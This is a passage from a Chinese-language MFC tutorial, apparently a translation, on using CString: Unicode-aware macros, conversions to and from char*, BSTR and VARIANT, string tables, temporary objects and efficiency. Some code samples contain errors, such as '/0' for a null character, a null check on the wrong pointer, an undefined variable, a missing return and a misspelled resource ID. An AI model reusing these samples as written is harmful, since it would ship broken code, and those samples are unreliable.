      我总是对我的字符串使用_T()宏,这是为了让我的代码至少有Unicode的意识,当然,关于Unicode的话题不在这篇文章的讨论范围。_T()宏在8位字符环境下是如下定义的:
    #define _T(x) x // 非Unicode版本(non-Unicode version)
    而在Unicode环境下是如下定义的:
    #define _T(x) L##x // Unicode版本(Unicode version)
    所以在Unicode环境下,它的效果就相当于:
    s.Format(L"%d", total);
      如果你认为你的程序可能在Unicode的环境下运行,那么开始在意用 Unicode 编码。比如说,不要用 sizeof() 操作符来获得字符串的长度,因为在Unicode环境下就会有2倍的误差。我们可以用一些方法来隐藏Unicode的一些细节,比如在我需要获得字符长度的时候,我会用一个叫做DIM的宏,这个宏是在我的dim.h文件中定义的,我会在我写的所有程序中都包含这个文件:
    #define DIM(x) ( sizeof((x)) / sizeof((x)[0]) )
      这个宏不仅可以用来解决Unicode的字符串长度的问题,也可以用在编译时定义的表格上,它可以获得表格的项数,如下:
    class Whatever { ... };
    Whatever data[] = {
       { ... },
        ...
       { ... },
    };
    for(int i = 0; i < DIM(data); i++) // 扫描表格寻找匹配项。
    
      这里要提醒你的就是一定要注意那些在参数中需要真实字节数的API函数调用,如果你传递字符个数给它,它将不能正常工作。如下:
    TCHAR data[20];
    lstrcpyn(data, longstring, sizeof(data) - 1); // WRONG!
    lstrcpyn(data, longstring, DIM(data) - 1); // RIGHT
    WriteFile(f, data, DIM(data), &bytesWritten, NULL); // WRONG!
    WriteFile(f, data, sizeof(data), &bytesWritten, NULL); // RIGHT
    造成以上原因是因为lstrcpyn需要一个字符个数作为参数,但是WriteFile却需要字节数作为参数。
    同样需要注意的是有时候需要写出数据的所有内容。如果你仅仅只想写出数据的真实长度,你可能会认为你应该这样做:
    WriteFile(f, data, lstrlen(data), &bytesWritten, NULL); // WRONG
    但是在Unicode环境下,它不会正常工作。正确的做法应该是这样:
    WriteFile(f, data, lstrlen(data) * sizeof(TCHAR), &bytesWritten, NULL); // RIGHT
      因为WriteFile需要的是一个以字节为单位的长度。(可能有些人会想“在非Unicode的环境下运行这行代码,就意味着总是在做一个多余的乘1操作,这样不会降低程序的效率吗?”这种想法是多余的,你必须要了解编译器实际上做了什么,没有哪一个C或C++编译器会把这种无聊的乘1操作留在代码中。在Unicode环境下运行的时候,你也不必担心那个乘2操作会降低程序的效率,记住,这只是一个左移一位的操作而已,编译器也很乐意为你做这种替换。)
      使用_T宏并不是意味着你已经创建了一个Unicode的程序,你只是创建了一个有Unicode意识的程序而已。如果你在默认的8-bit模式下编译你的程序的话,得到的将是一个普通的8-bit的应用程序(这里的8-bit指的只是8位的字符编码,并不是指8位的计算机系统);当你在Unicode环境下编译你的程序时,你才会得到一个Unicode的程序。记住,CString 在 Unicode 环境下,里面包含的可都是16位的字符哦。

    3、 CString 型转化成 int 型

      把 CString 类型的数据转化成整数类型最简单的方法就是使用标准的字符串到整数转换例程。
      虽然通常你怀疑使用_atoi()函数是一个好的选择,它也很少会是一个正确的选择。如果你准备使用 Unicode 字符,你应该用_ttoi(),它在 ANSI 编码系统中被编译成_atoi(),而在 Unicode 编码系统中编译成_wtoi()。你也可以考虑使用_tcstoul()或者_tcstol(),它们都能把字符串转化成任意进制的长整数(如二进制、八进制、十进制或十六进制),不同点在于前者转化后的数据是无符号的(unsigned),而后者相反。看下面的例子:
    CString hex = _T("FAB");
    CString decimal = _T("4011");
    ASSERT(_tcstoul(hex, 0, 16) == _ttoi(decimal));
    4、 CString 型和 char* 类型的相互转化

      这是初学者使用 CString 时最常见的问题。有了 C++ 的帮助,很多问题你不需要深入的去考虑它,直接拿来用就行了,但是如果你不能深入了解它的运行机制,又会有很多问题让你迷惑,特别是有些看起来没有问题的代码,却偏偏不能正常工作。
    比如,你会奇怪为什么不能写向下面这样的代码呢:
    CString graycat = "Gray" + "Cat";
    或者这样:
    CString graycat("Gray" + "Cat");
      事实上,编译器将抱怨上面的这些尝试。为什么呢?因为针对CString 和 LPCTSTR数据类型的各种各样的组合,“ +” 运算符 被定义成一个重载操作符。而不是两个 LPCTSTR 数据类型,它是底层数据类型。你不能对基本数据(如 int、char 或者 char*)类型重载 C++ 的运算符。你可以象下面这样做:
    CString graycat = CString("Gray") + CString("Cat");
    或者这样:
    CString graycat = CString("Gray") + "Cat";
    研究一番就会发现:“ +”总是使用在至少有一个 CString 对象和一个 LPCSTR 的场合。

    注意,编写有 Unicode 意识的代码总是一件好事,比如:
    CString graycat = CString(_T("Gray")) + _T("Cat");
    这将使得你的代码可以直接移植。

    char* 转化为 CString

      现在你有一个 char* 类型的数据,或者说一个字符串。怎么样创建 CString 对象呢?这里有一些例子:
    char * p = "This is a test";
    或者象下面这样更具有 Unicode 意识:
    TCHAR * p = _T("This is a test")
    LPTSTR p = _T("This is a test");
    你可以使用下面任意一种写法:
    CString s = "This is a test"; // 8-bit only
    CString s = _T("This is a test"); // Unicode-aware
    CString s("This is a test"); // 8-bit only
    CString s(_T("This is a test")); // Unicode-aware
    CString s = p;
    CString s(p);
      用这些方法可以轻松将常量字符串或指针转换成 CString。需要注意的是,字符的赋值总是被拷贝到 CString 对象中去的,所以你可以象下面这样操作:
    TCHAR * p = _T("Gray");
    CString s(p);
    p = _T("Cat");
    s += p;
    结果字符串肯定是“GrayCat”。

    CString 类还有几个其它的构造函数,但是这里我们不考虑它,如果你有兴趣可以自己查看相关文档。

    事实上,CString 类的构造函数比我展示的要复杂,比如:
    CString s = "This is a test"; 
      这是很草率的编码,但是实际上它在 Unicode 环境下能编译通过。它在运行时调用构造函数的 MultiByteToWideChar 操作将 8 位字符串转换成 16 位字符串。不管怎样,如果 char * 指针是网络上传输的 8 位数据,这种转换是很有用的。

    CString 转化成 char* 之一强制类型转换为 LPCTSTR;

      这是一种略微硬性的转换,有关“正确”的做法,人们在认识上还存在许多混乱,正确的使用方法有很多,但错误的使用方法可能与正确的使用方法一样多。
      我们首先要了解 CString 是一种很特殊的 C++ 对象,它里面包含了三个值:一个指向某个数据缓冲区的指针、一个是该缓冲中有效的字符记数以及一个缓冲区长度。 有效字符数的大小可以是从0到该缓冲最大长度值减1之间的任何数(因为字符串结尾有一个NULL字符)。字符记数和缓冲区长度被巧妙隐藏。
      除非你做一些特殊的操作,否则你不可能知道给CString对象分配的缓冲区的长度。这样,即使你获得了该0缓冲的地址,你也无法更改其中的内容,不能截短字符串,也 绝对没有办法加长它的内容,否则第一时间就会看到溢出。
      LPCTSTR 操作符(或者更明确地说就是 TCHAR * 操作符)在 CString 类中被重载了,该操作符的定义是返回缓冲区的地址,因此,如果你需要一个指向 CString 的 字符串指针的话,可以这样做:
    CString s("GrayCat");
    LPCTSTR p = s;
      它可以正确地运行。这是由C语言的强制类型转化规则实现的。当需要强制类型转化时,C++规测容许这种选择。比如,你可以将(浮点数)定义为将某个复数 (有一对浮点数)进行强制类型转换后只返回该复数的第一个浮点数(也就是其实部)。可以象下面这样:
    Complex c(1.2f, 4.8f);
    float realpart = c;
    如果(float)操作符定义正确的话,那么实部的的值应该是1.2。
      这种强制转化适合所有这种情况,例如,任何带有 LPCTSTR 类型参数的函数都会强制执行这种转换。 于是,你可能有这样一个函数(也许在某个你买来的DLL中):
    BOOL DoSomethingCool(LPCTSTR s);
    你象下面这样调用它:
    CString file("c://myfiles//coolstuff")
    BOOL result = DoSomethingCool(file);
      它能正确运行。因为 DoSomethingCool 函数已经说明了需要一个 LPCTSTR 类型的参数,因此 LPCTSTR 被应用于该参数,在 MFC 中就是返回的串地址。

    如果你要格式化字符串怎么办呢?
    CString graycat("GrayCat");
    CString s;
    s.Format("Mew! I love %s", graycat);
      注意由于在可变参数列表中的值(在函数说明中是以“...”表示的)并没有隐含一个强制类型转换操作符。你会得到什么结果呢?
      一个令人惊讶的结果,我们得到的实际结果串是:
    "Mew! I love GrayCat"。
      因为 MFC 的设计者们在设计 CString 数据类型时非常小心, CString 类型表达式求值后指向了字符串,所以这里看不到任何象 Format 或 sprintf 中的强制类型转换,你仍然可以得到正确的行为。描述 CString 的附加数据实际上在 CString 名义地址之后。
      有一件事情你是不能做的,那就是修改字符串。比如,你可能会尝试用“,”代替“.”(不要做这样的,如果你在乎国际化问题,你应该使用十进制转换的 National Language Support 特性,),下面是个简单的例子:
    CString v("1.00"); // 货币金额,两位小数
    LPCTSTR p = v;
    p[lstrlen(p) - 3] = '','';
      这时编译器会报错,因为你赋值了一个常量串。如果你做如下尝试,编译器也会错:
    strcat(p, "each");
      因为 strcat 的第一个参数应该是 LPTSTR 类型的数据,而你却给了一个 LPCTSTR。

      不要试图钻这个错误消息的牛角尖,这只会使你自己陷入麻烦!

      原因是缓冲有一个计数,它是不可存取的(它位于 CString 地址之下的一个隐藏区域),如果你改变这个串,缓冲中的字符计数不会反映所做的修改。此外,如果字符串长度恰好是该字符串物理限制的长度(梢后还会讲到这个问题),那么扩展该字符串将改写缓冲以外的任何数据,那是你无权进行写操作的内存(不对吗?),你会毁换坏不属于你的内存。这是应用程序真正的死亡处方。
    CString转化成char* 之二使用 CString 对象的 GetBuffer 方法;

      如果你需要修改 CString 中的内容,它有一个特殊的方法可以使用,那就是 GetBuffer,它的作用是返回一个可写的缓冲指针。 如果你只是打算修改字符或者截短字符串,你完全可以这样做:
    CString s(_T("File.ext"));
    LPTSTR p = s.GetBuffer();
    LPTSTR dot = strchr(p, ''.''); // OK, should have used s.Find...
    if(p != NULL)
    *p = _T(''/0'');
    s.ReleaseBuffer();
      这是 GetBuffer 的第一种用法,也是最简单的一种,不用给它传递参数,它使用默认值 0,意思是:“给我这个字符串的指针,我保证不加长它”。当你调用 ReleaseBuffer 时,字符串的实际长度会被重新计算,然后存入 CString 对象中。
      必须强调一点,在 GetBuffer 和 ReleaseBuffer 之间这个范围,一定不能使用你要操作的这个缓冲的 CString 对象的任何方法。因为 ReleaseBuffer 被调用之前,该 CString 对象的完整性得不到保障。研究以下代码:
    CString s(...);
    
    LPTSTR p = s.GetBuffer();
    
    //... 这个指针 p 发生了很多事情
    
    int n = s.GetLength(); // 很糟D!!!!! 有可能给出错误的答案!!!
    
    s.TrimRight(); // 很糟!!!!! 不能保证能正常工作!!!!
    
    s.ReleaseBuffer(); // 现在应该 OK
    
    int m = s.GetLength(); // 这个结果可以保证是正确的。
    
    s.TrimRight(); // 将正常工作。
      假设你想增加字符串的长度,你首先要知道这个字符串可能会有多长,好比是声明字符串数组的时候用:
    char buffer[1024];
    表示 1024 个字符空间足以让你做任何想做得事情。在 CString 中与之意义相等的表示法:
    LPTSTR p = s.GetBuffer(1024);
      调用这个函数后,你不仅获得了字符串缓冲区的指针,而且同时还获得了长度至少为 1024 个字符的空间(注意,我说的是“字符”,而不是“字节”,因为 CString 是以隐含方式感知 Unicode 的)。
      同时,还应该注意的是,如果你有一个常量串指针,这个串本身的值被存储在只读内存中,如果试图存储它,即使你已经调用了 GetBuffer ,并获得一个只读内存的指针,存入操作会失败,并报告存取错误。我没有在 CString 上证明这一点,但我看到过大把的 C 程序员经常犯这个错误。
      C 程序员有一个通病是分配一个固定长度的缓冲,对它进行 sprintf 操作,然后将它赋值给一个 CString:
    char buffer[256];
    sprintf(buffer, "%......", args, ...); // ... 部分省略许多细节
    CString s = buffer;
    虽然更好的形式可以这么做:
    CString s;
    s.Format(_T("%...."), args, ...);
    如果你的字符串长度万一超过 256 个字符的时候,不会破坏堆栈。

      另外一个常见的错误是:既然固定大小的内存不工作,那么就采用动态分配字节,这种做法弊端更大:
    int len = lstrlen(parm1) + 13  lstrlen(parm2) + 10 + 100;
    
    char * buffer = new char[len];
    
    sprintf(buffer, "%s is equal to %s, valid data", parm1, parm2);
    
    CString s = buffer;
    
    ......
    
    delete [] buffer;
    它可以能被简单地写成:
    CString s;
    
    s.Format(_T("%s is equal to %s, valid data"), parm1, parm2);
      需要注意 sprintf 例子都不是 Unicode 就绪的,尽管你可以使用 tsprintf 以及用 _T() 来包围格式化字符串,但是基本 思路仍然是在走弯路,这这样很容易出错。

    CString to char * 之三和控件的接口;

      我们经常需要把一个 CString 的值传递给一个控件,比如,CTreeCtrl。MFC为我们提供了很多便利来重载这个操作,但是 在大多数情况下,你使用“原始”形式的更新,因此需要将墨某个串指针存储到 TVINSERTITEMSTRUCT 结构的 TVITEM 成员中。如下:
    TVINSERTITEMSTRUCT tvi;
    CString s;
    // ... 为s赋一些值。
    tvi.item.pszText = s; // Compiler yells at you here
    // ... 填写tvi的其他域
    HTREEITEM ti = c_MyTree.InsertItem(&tvi);
      为什么编译器会报错呢?明明看起来很完美的用法啊!但是事实上如果你看看 TVITEM 结构的定义你就会明白,在 TVITEM 结构中 pszText 成员的声明如下:
    LPTSTR pszText;
    int cchTextMax;
      因此,赋值不是赋给一个 LPCTSTR 类型的变量,而且编译器无法知道如何将赋值语句右边强制转换成 LPCTSTR。好吧,你说,那我就改成这样:
    tvi.item.pszText = (LPCTSTR)s; //编译器依然会报错。
      编译器之所以依然报错是因为你试图把一个 LPCTSTR 类型的变量赋值给一个 LPTSTR 类型的变量,这种操作在C或C++中是被禁止的。你不能用这种方法 来滥用常量指针与非常量指针概念,否则,会扰乱编译器的优化机制,使之不知如何优化你的程序。比如,如果你这么做:
    const int i = ...;
    //... do lots of stuff
    ... = a[i]; // usage 1
    // ... lots more stuff
    ... = a[i]; // usage 2
      那么,编译器会以为既然 i 是 const ,所以 usage1和usage2的值是相同的,并且它甚至能事先计算好 usage1 处的 a[i] 的地址,然后保留着在后面的 usage2 处使用,而不是重新计算。如果你按如下方式写的话:
    const int i = ...;
    int * p = &i;
    //... do lots of stuff
    ... = a[i]; // usage 1
    // ... lots more stuff
    (*p)++; // mess over compiler''s assumption
    // ... and other stuff
    ... = a[i]; // usage 2
      编译器将认为 i 是常量,从而 a[i] 的位置也是常量,这样间接地破坏了先前的假设。因此,你的程序将会在 debug 编译模式(没有优化)和 release 编译模式(完全优化)中反映出不同的行为,这种情况可不好,所以当你试图把指向 i 的指针赋值给一个 可修改的引用时,会被编译器诊断为这是一种伪造。这就是为什么(LPCTSTR)强制类型转化不起作用的原因。
      为什么不把该成员声明成 LPCTSTR 类型呢?因为这个结构被用于读写控件。当你向控件写数据时,文本指针实际上被当成 LPCTSTR,而当你从控件读数据 时,你必须有一个可写的字符串。这个结构无法区分它是用来读还是用来写。

    因此,你会常常在我的代码中看到如下的用法:
    tvi.item.pszText = (LPTSTR)(LPCTSTR)s;
      它把 CString 强制类型转化成 LPCTSTR,也就是说先获得改字符串的地址,然后再强制类型转化成 LPTSTR,以便可以对之进行赋值操作。 注意这只有在使用 Set 或 Insert 之类的方法才有效!如果你试图获取数据,则不能这么做。
      如果你打算获取存储在控件中的数据,则方法稍有不同,例如,对某个 CTreeCtrl 使用 GetItem 方法,我想获取项目的文本。我知道这些 文本的长度不会超过 MY_LIMIT,因此我可以这样写:
    TVITEM tvi;
    // ... assorted initialization of other fields of tvi
    tvi.pszText = s.GetBuffer(MY_LIMIT);
    tvi.cchTextMax = MY_LIMIT;
    c_MyTree.GetItem(&tvi);
    s.ReleaseBuffer();
      可以看出来,其实上面的代码对所有类型的 Set 方法都适用,但是并不需要这么做,因为所有的类 Set 方法(包括 Insert方法)不会改变字符串的内容。但是当你需要写 CString 对象时,必须保证缓冲是可写的,这正是 GetBuffer 所做的事情。再次强调: 一旦做了一次 GetBuffer 调用,那么在调用 ReleaseBuffer 之前不要对这个 CString 对象做任何操作。

    5、 CString 型转化成 BSTR 型

      当我们使用 ActiveX 控件编程时,经常需要用到将某个值表示成 BSTR 类型。BSTR 是一种记数字符串,Intel平台上的宽字符串(Unicode),并且 可以包含嵌入的 NULL 字符。

    你可以调用 CString 对象的 AllocSysString 方法将 CString 转化成 BSTR:
    CString s;
    s = ... ; // whatever
    BSTR b = s.AllocSysString();
      现在指针 b 指向的就是一个新分配的 BSTR 对象,该对象是 CString 的一个拷贝,包含终结 NULL字符。现在你可以将它传递给任何需要 BSTR 的接口。通常,BSTR 由接收它的组件来释放,如果你需要自己释放 BSTR 的话,可以这么做:
    ::SysFreeString(b);
      对于如何表示传递给 ActiveX 控件的字符串,在微软内部曾一度争论不休,最后 Visual Basic 的人占了上风,BSTR(“Basic String”的首字母缩写)就是这场争论的结果。

    6、 BSTR 型转化成 CString 型

      由于 BSTR 是记数 Unicode 字符串,你可以用标准转换方法来创建 8 位的 CString。实际上,这是 CString 内建的功能。在 CString 中 有特殊的构造函数可以把 ANSI 转化成 Unicode,也可以把Unicode 转化成 ANSI。你同样可以从 VARIANT 类型的变量中获得 BSTR 类型的字符串,VARIANT 类型是 由各种 COM 和 Automation (自动化)调用返回的类型。

    例如,在一个ANSI程序中:
    BSTR b;
    b = ...; // whatever
    CString s(b == NULL ? L"" : b)
      对于单个的 BSTR 串来说,这种用法可以工作得很好,这是因为 CString 有一个特殊的构造函数以LPCWSTR(BSTR正是这种类型) 为参数,并将它转化成 ANSI 类型。专门检查是必须的,因为 BSTR 可能为空值,而 CString 的构造函数对于 NULL 值情况考虑的不是很周到,(感谢 Brian Ross 指出这一点!)。这种用法也只能处理包含 NUL 终结字符的单字符串;如果要转化含有多个 NULL 字符 串,你得额外做一些工作才行。在 CString 中内嵌的 NULL 字符通常表现不尽如人意,应该尽量避免。
      根据 C/C++ 规则,如果你有一个 LPWSTR,那么它别无选择,只能和 LPCWSTR 参数匹配。

    在 Unicode 模式下,它的构造函数是:
    CString::CString(LPCTSTR);
    正如上面所表示的,在 ANSI 模式下,它有一个特殊的构造函数:
    CString::CString(LPCWSTR); 
      它会调用一个内部的函数将 Unicode 字符串转换成 ANSI 字符串。(在Unicode模式下,有一个专门的构造函数,该函数有一个参数是LPCSTR类型——一个8位 ANSI 字符串 指针,该函数将它加宽为 Unicode 的字符串!)再次强调:一定要检查 BSTR 的值是否为 NULL。
      另外还有一个问题,正如上文提到的:BSTRs可以含有多个内嵌的NULL字符,但是 CString 的构造函数只能处理某个串中单个 NULL 字符。 也就是说,如果串中含有嵌入的 NUL字节,CString 将会计算出错误的串长度。你必须自己处理它。如果你看看 strcore.cpp 中的构造函数,你会发现 它们都调用了lstrlen,也就是计算字符串的长度。
      注意从 Unicode 到 ANSI 的转换使用带专门参数的 ::WideCharToMultiByte,如果你不想使用这种默认的转换方式,则必须编写自己的转化代码。
      如果你在 UNICODE 模式下编译代码,你可以简单地写成:
    CString convert(BSTR b)
    {
        if(b == NULL)
            return CString(_T(""));
        CString s(b); // in UNICODE mode
        return s;
    }
    
      如果是 ANSI 模式,则需要更复杂的过程来转换。注意这个代码使用与 ::WideCharToMultiByte 相同的参数值。所以你 只能在想要改变这些参数进行转换时使用该技术。例如,指定不同的默认字符,不同的标志集等。
    CString convert(BSTR b)
    {
        CString s;
        if(b == NULL)
           return s; // empty for NULL BSTR
    #ifdef UNICODE
        s = b;
    #else
        LPSTR p = s.GetBuffer(SysStringLen(b) + 1); 
        ::WideCharToMultiByte(CP_ACP,            // ANSI Code Page
                              0,                 // no flags
                              b,                 // source widechar string
                              -1,                // assume NUL-terminated
                              p,                 // target buffer
                              SysStringLen(b)+1, // target buffer length
                              NULL,              // use system default char
                              NULL);             // don''t care if default used
        s.ReleaseBuffer();
    #endif
        return s;
    }
    
      我并不担心如果 BSTR 包含没有映射到 8 位字符集的 Unicode 字符时会发生什么,因为我指定了::WideCharToMultiByte 的最后两个参数为 NULL。这就是你可能需要改变的地方。

    7、 VARIANT 型转化成 CString 型

      事实上,我从来没有这么做过,因为我没有用 COM/OLE/ActiveX 编写过程序。但是我在microsoft.public.vc.mfc 新闻组上看到了 Robert Quirk 的一篇帖子谈到了这种转化,我觉得把他的文章包含在我的文章里是不太好的做法,所以在这里多做一些解释和演示。如果和他的文章有相孛的地方可能是我的疏忽。
      VARIANT 类型经常用来给 COM 对象传递参数,或者接收从 COM 对象返回的值。你也能自己编写返回 VARIANT 类型的方法,函数返回什么类型 依赖可能(并且常常)方法的输入参数(比如,在自动化操作中,依赖与你调用哪个方法。IDispatch::Invoke 可能返回(通过其一个参数)一个 包含有BYTE、WORD、float、double、date、BSTR 等等 VARIANT 类型的结果,(详见 MSDN 上的 VARIANT 结构的定义)。在下面的例子中,假设 类型是一个BSTR的变体,也就是说在串中的值是通过 bsrtVal 来引用,其优点是在 ANSI 应用中,有一个构造函数会把 LPCWCHAR 引用的值转换为一个 CString(见 BSTR-to-CString 部分)。在 Unicode 模式中,将成为标准的 CString 构造函数,参见对缺省::WideCharToMultiByte 转换的告诫,以及你觉得是否可以接受(大多数情况下,你会满意的)。
    VARIANT vaData;
    vaData = m_com.YourMethodHere();
    ASSERT(vaData.vt == VT_BSTR);
    CString strData(vaData.bstrVal);
    你还可以根据 vt 域的不同来建立更通用的转换例程。为此你可能会考虑:
    CString VariantToString(VARIANT * va)
    {
        CString s;
        switch(va->vt)
          { /* vt */
           case VT_BSTR:
              return CString(vaData->bstrVal);
           case VT_BSTR | VT_BYREF:
              return CString(*vaData->pbstrVal);
           case VT_I4:
              s.Format(_T("%d"), va->lVal);
              return s;
           case VT_I4 | VT_BYREF:
              s.Format(_T("%d"), *va->plVal);
           case VT_R8:
              s.Format(_T("%f"), va->dblVal);
              return s;
           ... 剩下的类型转换由读者自己完成
           default:
              ASSERT(FALSE); // unknown VARIANT type (this ASSERT is optional)
              return CString("");
          } /* vt */
    }
    
    8、 载入字符串表资源

      如果你想创建一个容易进行语言版本移植的应用程序,你就不能在你的源代码中直接包含本土语言字符串 (下面这些例子我用的语言都是英语,因为我的本土语是英语),比如下面这种写法就很糟:
    CString s = "There is an error";
      你应该把你所有特定语言的字符串单独摆放(调试信息、在发布版本中不出现的信息除外)。这意味着向下面这样写比较好:
    s.Format(_T("%d - %s"), code, text);
      在你的程序中,文字字符串不是语言敏感的。不管怎样,你必须很小心,不要使用下面这样的串:
    // fmt is "Error in %s file %s"
    // readorwrite is "reading" or "writing"
    s.Format(fmt, readorwrite, filename); 
      这是我的切身体会。在我的第一个国际化的应用程序中我犯了这个错误,尽管我懂德语,知道在德语的语法中动词放在句子的最后面,我们的德国方面的发行人还是苦苦的抱怨他们不得不提取那些不可思议的德语错误提示信息然后重新格式化以让它们能正常工作。比较好的办法(也是我现在使用的办法)是使用两个字符串,一个用 于读,一个用于写,在使用时加载合适的版本,使得它们对字符串参数是非敏感的。也就是说加载整个格式,而不是加载串“reading”,“writing”:
    // fmt is "Error in reading file %s"
    // "Error in writing file %s"
    s.Format(fmt, filename);
      一定要注意,如果你有好几个地方需要替换,你一定要保证替换后句子的结构不会出现问题,比如在英语中,可以是主语-宾语,主语-谓语,动词-宾语的结构等等。
      在这里,我们并不讨论 FormatMessage,其实它比 sprintf/Format 还要有优势,但是不太容易和CString 结合使用。解决这种问题的办法就是我们按照参数出现在参数表中的位置给参数取名字,这样在你输出的时候就不会把他们的位置排错了。
      接下来我们讨论我们这些独立的字符串放在什么地方。我们可以把字符串的值放入资源文件中的一个称为 STRINGTABLE 的段中。过程如下:首先使用 Visual Studio 的资源编辑器创建一个字符串,然后给每一个字符串取一个ID,一般我们给它取名字都以 IDS_开头。所以如果你有一个信息,你可以创建一个字符串资源然后取名为 IDS_READING_FILE,另外一个就取名为 IDS_WRITING_FILE。它们以下面的形式出现在你的 .rc 文件中:
    STRINGTABLE
    IDS_READING_FILE "Reading file %s"
    IDS_WRITING_FILE "Writing file %s"
    END
    注意:这些资源都以 Unicode 的格式保存,不管你是在什么环境下编译。他们在Win9x系统上也是以Unicode 的形式存在,虽然 Win9x 不能真正处理 Unicode。
    然后你可以这样使用这些资源:
    // 在使用资源串表之前,程序是这样写的:
       CString fmt;
          if(...)
            fmt = "Reading file %s";
         else
           fmt = "Writing file %s";
      ...
        // much later
      CString s;
      s.Format(fmt, filename); 
    
    // 使用资源串表之后,程序这样写:
        CString fmt;
            if(...)
               fmt.LoadString(IDS_READING_FILE);
            else
               fmt.LoadString(DS_WRITING_FILE);
        ...
          // much later
        CString s;
        s.Format(fmt, filename);
    
      现在,你的代码可以移植到任何语言中去。LoadString 方法需要一个字符串资源的 ID 作为参数,然后它从 STRINGTABLE 中取出它对应的字符串,赋值给 CString 对象。 CString 对象的构造函数还有一个更加聪明的特征可以简化 STRINGTABLE 的使用。这个用法在 CString::CString 的文档中没有指出,但是在 构造函数的示例程序中使用了。(为什么这个特性没有成为正式文档的一部分,而是放在了一个例子中,我记不得了!)——【 译者注:从这句话看,作者可能是CString的设计者。其实前面还有一句类似的话。说他没有对使用GetBuffer(0)获得的指针指向的地址是否可读做有效性检查 】。这个特征就是:如果你将一个字符串资源的ID强制类型转换为 LPCTSTR,将会隐含调用 LoadString。因此,下面两个构造字符串的例子具有相同的效果,而且其 ASSERT 在debug模式下不会被触发:
    CString s;
    s.LoadString(IDS_WHATEVER);
    CString t( (LPCTSTR)IDS_WHATEVER );
    ASSERT(s == t);//不会被触发,说明s和t是相同的。
      现在,你可能会想:这怎么可能工作呢?我们怎么能把 STRINGTABLE ID 转化成一个指针呢?很简单:所有的字符串 ID 都在1~65535这个范围内,也就是说,它所有的高位都是0,而我们在程序中所使用的指针是不可能小于65535的,因为程序的低 64K 内存永远也不可能存在的,如果你试图访问0x00000000到0x0000FFFF之间的内存,将会引发一个内存越界错误。所以说1~65535的值不可能是一个内存地址,所以我们可以用这些值来作为字符串资源的ID。
      我倾向于使用 MAKEINTRESOURCE 宏显式地做这种转换。我认为这样可以让代码更加易于阅读。这是个只适合在 MFC 中使用的标准宏。你要记住,大多数的方法即可以接受一个 UINT 型的参数,也可以接受一个 LPCTSTR 型的参数,这是依赖 C++ 的重载功能做到的。C++重载函数带来的 弊端就是造成所有的强制类型转化都需要显示声明。同样,你也可以给很多种结构只传递一个资源名。
    CString s;
    s.LoadString(IDS_WHATEVER);
    CString t( MAKEINTRESOURCE(IDS_WHATEVER));
    ASSERT(s == t);
      告诉你吧:我不仅只是在这里鼓吹,事实上我也是这么做的。在我的代码中,你几乎不可能找到一个字符串,当然,那些只是偶然在调试中出现的或者和语言无关的字符串除外。

    9、 CString 和临时对象

      这是出现在 microsoft.public.vc.mfc 新闻组中的一个小问题,我简单的提一下,这个问题是有个程序员需要往注册表中写入一个字符串,他写道:
      我试着用 RegSetValueEx() 设置一个注册表键的值,但是它的结果总是令我困惑。当我用char[]声明一个变量时它能正常工作,但是当我用 CString 的时候,总是得到一些垃圾:"&Yacute;&Yacute;&Yacute;&Yacute;...&Yacute;&Yacute;&Yacute;&Yacute;&Yacute;&Yacute;"为了确认是不是我的 CString 数据出了问题,我试着用 GetBuffer,然后强制转化成 char*,LPCSTR。GetBuffer 返回的值是正确的,但是当我把它赋值给 char* 时,它就变成垃圾了。以下是我的程序段:
    char* szName = GetName().GetBuffer(20);
    RegSetValueEx(hKey, "Name", 0, REG_SZ, 
                 (CONST BYTE *) szName,
                 strlen (szName + 1));
    这个 Name 字符串的长度小于 20,所以我不认为是 GetBuffer 的参数的问题。

    真让人困惑,请帮帮我。

    亲爱的 Frustrated,

    你犯了一个相当微妙的错误,聪明反被聪明误,正确的代码应该象下面这样:
    CString Name = GetName();
    RegSetValueEx(hKey, _T("Name"), 0, REG_SZ, 
                        (CONST BYTE *) (LPCTSTR)Name,
                        (Name.GetLength() + 1) * sizeof(TCHAR));
    
      为什么我写的代码能行而你写的就有问题呢?主要是因为当你调用 GetName 时返回的 CString 对象是一个临时对象。参见:《C++ Reference manual》§12.2
      在一些环境中,编译器有必要创建一个临时对象,这样引入临时对象是依赖于实现的。如果编译器引入的这个临时对象所属的类有构造函数的话,编译器要确保这个类的构造函数被调用。同样的,如果这个类声明有析构函数的话,也要保证这个临时对象的析构函数被调用。
      编译器必须保证这个临时对象被销毁了。被销毁的确切地点依赖于实现.....这个析构函数必须在退出创建该临时对象的范围之前被调用。
      大部分的编译器是这样设计的:在临时对象被创建的代码的下一个执行步骤处隐含调用这个临时对象的析构函数,实现起来,一般都是在下一个分号处。因此,这个 CString 对象在 GetBuffer 调用之后就被析构了(顺便提一句,你没有理由给 GetBuffer 函数传递一个参数,而且没有使用ReleaseBuffer 也是不对的)。所以 GetBuffer 本来返回的是指向这个临时对象中字符串的地址的指针,但是当这个临时对象被析构后,这块内存就被释放了。然后 MFC 的调试内存分配器会重新为这块内存全部填上 0xDD,显示出来刚好就是“&Yacute;”符号。在这个时候你向注册表中写数据,字符串的内容当然全被破坏了。
      我们不应该立即把这个临时对象转化成 char* 类型,应该先把它保存到一个 CString 对象中,这意味着把临时对象复制了一份,所以当临时的 CString 对象被析构了之后,这个 CString 对象中的值依然保存着。这个时候再向注册表中写数据就没有问题了。
      此外,我的代码是具有 Unicode 意识的。那个操作注册表的函数需要一个字节大小,使用lstrlen(Name+1) 得到的实际结果对于 Unicode 字符来说比 ANSI 字符要小一半,而且它也不能从这个字符串的第二个字符起开始计算,也许你的本意是 lstrlen(Name) + 1(OK,我承认,我也犯了同样的错误!)。不论如何,在 Unicode 模式下,所有的字符都是2个字节大小,我们需要处理这个问题。微软的文档令人惊讶地对此保持缄默:REG_SZ 的值究竟是以字节计算还是以字符计算呢?我们假设它指的是以字节为单位计算,你需要对你的代码做一些修改来计算这个字符串所含有的字节大小。

    10、 CString 的效率

      CString 的一个问题是它确实掩藏了一些低效率的东西。从另外一个方面讲,它也确实可以被实现得更加高效,你可能会说下面的代码:
    CString s = SomeCString1;
    s += SomeCString2;
    s += SomeCString3;
    s += ",";
    s += SomeCString4;
    比起下面的代码来,效率要低多了:
    char s[1024];
    lstrcpy(s, SomeString1);
    lstrcat(s, SomeString2);
    lstrcat(s, SomeString 3);
    lstrcat(s, ",");
    lstrcat(s, SomeString4);
